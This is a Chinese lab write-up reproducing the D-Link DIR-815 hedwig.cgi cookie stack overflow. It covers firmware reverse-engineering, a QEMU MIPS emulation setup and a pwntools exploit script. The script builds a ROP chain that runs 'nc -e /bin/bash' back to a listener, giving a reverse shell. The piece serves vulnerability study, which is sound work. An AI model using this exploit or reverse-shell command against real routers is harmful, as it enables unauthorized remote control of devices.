DIR-815 栈溢出漏洞复现
DIR-815 栈溢出漏洞复现
官方漏洞报告:https://www.cnvd.org.cn/flaw/show/CNVD-2013-11625

固件下载地址:https://ftp.dlink.ru/pub/Router/DIR-815/Firmware/
逆向分析
binwalk 解压固件:binwalk -Me DIR-815\ FW\ 1.01b14_1.01b14.bin,找到 /htdocs/web/hedwig.cgi

逆向分析cgibin,找到 hedwigcgi_main

从环境变量中获取 HTTP 请求方法是否为 POST

cgibin_parse_request这个函数会对url先进行解析,然后将POST的内容读入进来,再通过sub_409A6C函数进行解析。cgibin_parse_request读取几个环境变量。

接着看 sess_get_uid函数,获取当前用户的唯一标识符(UID)
获取环境变量HTTP_COOKIE:

=前面的内容被存入了v2,后面的内容被存入了v4,最后会对v2中的内容进行一个判断:

判断是否为 uid

string就是v4中的字符串,也就是cookie中uid= 之后的内容,是可以由用户自由控制的,然而v27数组的大小仅有1024,因此,很容易造成缓冲区溢出。

sprintf将string和字符串拼接,放入到v27变量中,并未对长度进行检查。,发现v4在两个sprintf之间未被改变过,这里的string仍然是cookie中uid=后面的字符串,如果能走到这第二个sprintf的话,那么这里才是真正的溢出漏洞点,因为仍然是v27数组的溢出,两次拼接的字符串又一样,所以这里能覆盖上一次sprintf的内容。

尝试打开文件 /var/tmp/temp.xml,如果不存在就跳转到退出函数,如果文件存在,所以我们需要创建一个/var/tem文件夹。
第二个判断haystack的值在这之前只有cgibin_parse_request的第一个参数sub_409A6C中可对其操作


再回到cgibin_parse_request函数中,要走到读入POST内容的那里,就必须要使得v9!=-1才行,再往cgibin_parse_request函数上面看看:

因此,环境变量REQUEST_URI中也必须有内容才行,这里环境变量CONTENT_TYPE仍然是老规矩application/x-www-form-urlencoded。
满足了以上条件,就能顺利地走到第二个sprintf了,也就是真机环境中真正的栈溢出漏洞点。
qemu 环境搭建
查看 bin/busybox :
➜ bin file busybox
busybox: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, stripped
32位mips小端
首先在var下创建一个tmp文件夹。
使用qemu-system-mipsel从系统角度进行模拟,就需要一个mips架构的内核镜像和文件系统。可以在如下网站下载:
Index of /~aurel32/qemu/mipsel
下载其中的vmlinux-3.2.0-4-4kc-malta内核以及debian_squeeze_mipsel_standard.qcow2镜像文件。
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2
创建一个 start.sh:
sudo qemu-system-mipsel \
-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-nographic \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap,ifname=tap0,script=no,downscript=no

之后./start.sh 启动,并输入root/root,我这里没有ip地址,按如下配置我手动添加了 ip:
root@debian-mipsel:~# ip addr add 192.168.164.100/24 dev eth1
root@debian-mipsel:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff
inet 192.168.164.100/24 scope global eth1
root@debian-mipsel:~# ip route add default via 192.168.164.1
root@debian-mipsel:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff
inet 192.168.164.100/24 scope global eth1
将squashfs-root的路由器配置文件上传到qemu仿真机里。这里的IP 是仿真机的ip
scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -r ./squashfs-root root@192.168.207.120:/root/squashfs-root

这里 没有开启 80端口:
➜ mipsel nmap 192.168.164.147
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-16 21:00 CST
Nmap scan report for 192.168.164.147
Host is up (0.012s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
Nmap done: 1 IP address (1 host up) scanned in 10.38 seconds
root@debian-mipsel:~/squashfs-root# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff
inet 192.168.164.147/24 brd 192.168.164.255 scope global eth1
在qemu虚拟机的squashfs-root目录下新建一个http_conf配置文件,nano http_conf
里面写入如下内容:
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth1 #对应qemu仿真路由器系统的网卡
Address 192.168.207.120 #qemu仿真路由器系统的IP
Port "80" #对应未被使用的端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
物理机上/tools/mipsel新建init.sh,写入下面配置。
#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
chmod 777 init.sh
./init.sh 运行脚本即可。
在qemu虚拟机的squashfs-root目录下创建init.sh的脚本进行初始化操作:
nano init.sh,写入下面这些配置
#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf
注:echo 0 > /proc/sys/kernel/randomize_va_space关闭地址随机化
然后在qemu里运行./init.sh
在qemu虚拟机的squashfs-root目录下创建fin.sh的脚本进行初始化操作:
nano fin.sh,写入下面这些配置
#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak
已经可以正常访问

exp
下载gdbserver.mipsle:embedded-tools/binaries/gdbserver at master · rapid7/embedded-tools
将gdbserver.mipsle上传到qemu的squashfs-root文件夹内:
scp -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa \
-r ./gdbserver.mipsle root@192.168.164.147:/root/squashfs-root
在qemu中/root/squashfs-root/用新建run.sh脚本启动:
nano run.sh
写入下面配置:
#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
#echo "winmt=pwner"|./gdbserver.mipsel 192.168.164.139:6666 /htdocs/web/hedwig.cgi
echo "winmt=pwner"|/htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI
注:
#echo "winmt=pwner"|./gdbserver.mipsel 192.168.10.60:6666 /htdocs/web/hedwig.cgi
这一行代码是与gdb-multiarch调试的时候开启。
192.168.164.139 为ubuntu的地址,`6666`是自己设置的连接的端口,直接用gdb-multiarch设置好架构后,用target remote 192.168.10.67:6666连上即可。其中192.168.10.67为qemu的地址。
/mipsel/里新建exp.py
python3 exp.py 生成payload
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
# 这里ip是ubuntu的ip地址,端口8888,进行监听
cmd = b'nc -e /bin/bash 192.168.164.139 8888'
libc_base = 0x77f34000
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd
fd = open("payload", "wb")
fd.write(payload)
fd.close()
将payload上传到 qemu仿真机
scp -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa \
-r ./payload root@192.168.164.147:/root/squashfs-root
然后在宿主机里新建一个终端,进行端口监听,等待反弹shel
在qemu中squashfs-root里,执行刚才新建的run.sh在ubuntu可以见到已经成功反弹了shell,并可执行命令。


QAQ
浙公网安备 33010602011771号